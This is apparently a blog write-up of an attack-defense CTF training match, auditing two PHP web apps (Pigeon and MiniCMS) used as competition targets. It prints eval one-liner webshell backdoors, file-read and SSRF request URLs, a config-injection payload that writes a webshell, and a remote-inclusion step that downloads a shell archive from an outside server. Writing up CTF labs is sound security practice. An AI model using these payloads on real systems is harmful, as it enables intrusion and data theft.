Virtua1's blog

AWD训练赛复盘

字数统计: 2.2k阅读时长: 8 min
2019/08/20 Share

Info

这次比赛有两个Web服务,一个Pwn服务,题目比较简单,吹爆队伍Pwn师傅的输出,放一张最后成绩的图

队伍分工没有很详细,pwn师傅就负责pwn,和另外一个web师傅一人一个web,从防守到攻击练习手速orz,负责的Web1有预留后门简单的一句话木马,直接利用拿一波分然后维持下权限就很舒服了,开场第一轮就靠后门拿了分,然后传了不死马,遗憾的是验证上传成功的脚本有点问题,一直以为上传失败,比赛后期才发现都上传成功了。。Web1漏洞很多但就用起了两个,ssrf也审出了但感觉麻烦就没利用。。还是要提升审计水平

赛后搭建环境审计复盘下Web1、Web2。

Web1

代码审计

源码存在install.php以为有重装漏洞,测试发现框架install,利用的是命令行:php install.php

从首页index开始审计,入口文件:/pigeon/loader.php 配置文件:/pigeon/config.php Pigeon类:/pigeon/function.php

普通user:

权限(s参数):获取时间线、注册、登陆、退出、删除、改变权限、发送邮件、邮件验证、查看消息、编辑

管理员后台:admin.php

权限(s参数):查、删、改、添user,更新网站

先审计admin功能:

更新网站处发现文件包含漏洞:

image.png

网站模板更新这种一般是在源码中写死的链接,这里改成了我们可控的参数$update_url

跟踪找下利用条件,首先需要GET seid:

image.png

找一下获取seid的方式,发现直接echo 在页面 查看源码会直接显示:

然后就是必须是admin登陆,看了下查询后虽然是弱类型比较,但是普通用户权限写入的时候都是user,要是以用户名或其他可控的就可以利用弱类型绕过了。

第一处可以直接包含读取flag,而第二处可以远程包含文件,下载远程webshell,利用shell获取flag。

读取flag需要登陆,然后直接读取,下载shell,需要json编码,并且附带文件MD5值,绕过后续验证。

然后审计user功能:

在发布新内容处存在弱类型比较,参数可控,并且带入sql插入语句:

ispublic参数是可控的,并且与0,1,2进行了弱类型比较,最终带入了insert语句,可以直接绕过弱类型读取flag。

审计:/pigeon/imgproxy/index.php存在ssrf:

可以看到这里url参数我们是可控的,以下都是判断是否存在文件,没有则创建

然后就到了这里:

调用了curl_request函数,看下这个函数:

一个简单发起curl请求的方法,这里我们主要看返回值,返回读取的内容,然后以两个换行为界分为两部分,第一部分赋值给$info['header']第二部分赋值给$info['body'],函数最终返回$info ,再看上边的流程,$info返回后赋值给$data

接下来的流程是先验证是否存在 $header,然后以换行分割验证是否存在Content-typeContent-length,存在就返回true,不存在就echo,对$body验证是否存在$cache_list[$pathtype],存在则写入文件不存在则echo。

如果 url 我们传入读取flag,则flag值就会直接echo,猜想这里存在逻辑问题,如果验证 $header``$body是否存在里利用&&并且不echo header 就不会出现问题。

1.预留后门

down源码,扔D盾扫描下,发现预留后门,正常的一句话木马 path:/pigeon/function.php

1
@eval($_GET[1]);

利用:

1
http://172.20.x.101/pigeon/function.php?1=system('cat /flag');

image.png

2.任意文件读取/下载

path:/admin.php

利用方式一:

1
方法一利用check更新功能,任意文件读取,读取flag
2
先登陆admin(初始用户名密码:admin,admin 修改后则利用不了,开局改了全场密码是不错的选择),源码拿到seid
3
http://172.20.x.101/admin.php?s=updatecheck&seid=733E6CF8-3D17-CD2A-EEB5-3284A0F76DA9&update_url=/flag

利用方式二:

1
方式二利用更新功能,任意文件下载,下载shell到靶机,利用shell 读取flag
2
首先在远程vps(内网用虚拟机即可)写入json文件,包括shell文件地址,以及shell文件MD5值 (vps:http://vps/shell.json)
3
上传v1.zip到vps,计算MD5值(v1.zip包含shell v1.php)
4
shell.json content:
5
{
6
		"download":"http://111.230.177.87/v1.zip",
7
		"md5":"a8a0ceabf04c32d8935bb8034d6898af"
8
}
9
//注意的是 文件的MD5传到vps再计算,否则传输会改变,导致MD5验证失败
10
http://172.20.x.101/admin.php?s=updateexecute&seid=733E6CF8-3D17-CD2A-EEB5-3284A0F76DA9&update_url=http://vps/shell.json

3.Sql注入

path:/pigeon/loader.php

image.png

利用:

image.png

这样 /flag 就写到 content字段,就可以读取了。

4.SSRF

path:pigeon/imgproxy/index.php

1
http://192.168.164.142/pigeon/imgproxy/index.php?url=ZmlsZTovLy9mbGFn
2
file:///flag -> base64_encode ZmlsZTovLy9mbGFn

image.png

Web2

代码审计

比赛的时候没看,队友负责的,先审计下。

先放一个 file tree:

大概分为后台和内容两部分,内容存在核心代码及页面和发布的文章,非常简单的一个cms,不需要数据库的支持,搭建环境看下网站功能。访问index就是主页面,会显示发布的内容,mc-admin为后台登陆账号密码 存在于 /mc-files/mc-conf.php

账号密码:admin 123 登陆后会显admin发布、修改等功能。先审计ma-admin:

index 页面是一个admin的登陆验证,判断登陆状态采cookie=MD5(username._.password),登陆成功会跳转到post页面

post页面 是后台的主页面,GET提交state参数用于加载不同页面,包括已发布、草稿、回收站。

load_posts()用于加载首页

在配置页面,发现任意文件写入的一个漏洞:

可以看到在修改配置文件处对写入的内容 var_export处理然后写入了配置文件,var_export()会返回合法的php代码,那么我们就可以写入任意shell,看下 /mc-files.mc-conf.php:

image.png

我们要拼接的是 comment_code 部分,首先闭合语句,然后写入一句话:

1
')?><?php @eval($_POST[v]);?>#

这样直接写入shell,读取flag,但是修改配置需要登陆,所以改了后台密码就不好利用了。

但是后边审计发现验证登陆通过引入head页面,看到 配置页面:

image.png

写入之后再判断登陆状态,因此可以不登陆越权写入任意shell

/mc-files/mc-core.php 存在一个任意文件读取漏洞:

image.png

直接传入file = /flag 即可下载flag

另外还存在几个比较鸡肋的洞:

审计发现admin页面是否登陆的判断通过引进head.php,看到 /mc-admin/post.php中 head.php 在删除等操作执行完毕后才引入,那么就存在越权漏洞,造成任意文件删除:

image.png

构造payload:

1
http://192.168.164.142/mc-admin/post.php?state=delete&delete=n0pjip

就可以删除内容

image.png

还有我们发现发布内容后会生成一个id 如果我们访问 id+bat 就会读取下载内容:

image.png

除此之外,还有一堆XSS .

1.预留后门

down源码,D盾扫描下,发现预留后门,正常的一句话木马 path:/pigeon/function.php

1
<?php @eval($_POST[1]);?>

利用:

1
http://172.20.x.103/index.php
2
post: 1=system('cat /flag');

image.png

2.任意文件读取

image.png

利用:

1
http://192.168.164.142/mc-files/mc-core.php?file=/flag

image.png

3.后台getshell

image.png

利用:

1
')?><?php @eval($_POST[v]);?>#

image.png

image.png

批量利用时,抓自己的包,放bp里跑一下就都种上马了利用就可以了。

Web1 check流量分析

比赛的时候分析出了check的机制:

每5分钟一轮,每轮的开始检测一次,然后2分钟后再检测一次,3分钟后新的一轮开始又检测。

检测的功能包括:首页、后台页面、注册页面、注册功能、登陆页面、登陆功能、登陆后首页、发布newpost

分析check机制可以在被打的很惨的时候把网站改的只剩check页面,还没用的话check的页面和功能也就是漏洞点,这样就能快速分析漏洞。

END

这次的题目比较简单,靠手速第一轮就批量了 ,web1为 Pigeon web2 为 Minicms ,存在的漏洞 seay都能给审出来,再结合diff就差不多了。

继续审计一波,看看有没有0day(逃

CATALOG
  1. 1. Info
  2. 2. Web1
    1. 2.1. 代码审计
    2. 2.2. 1.预留后门
    3. 2.3. 2.任意文件读取/下载
    4. 2.4. 3.Sql注入
    5. 2.5. 4.SSRF
  3. 3. Web2
    1. 3.1. 代码审计
    2. 3.2. 1.预留后门
    3. 3.3. 2.任意文件读取
    4. 3.4. 3.后台getshell
  4. 4. Web1 check流量分析
  5. 5. END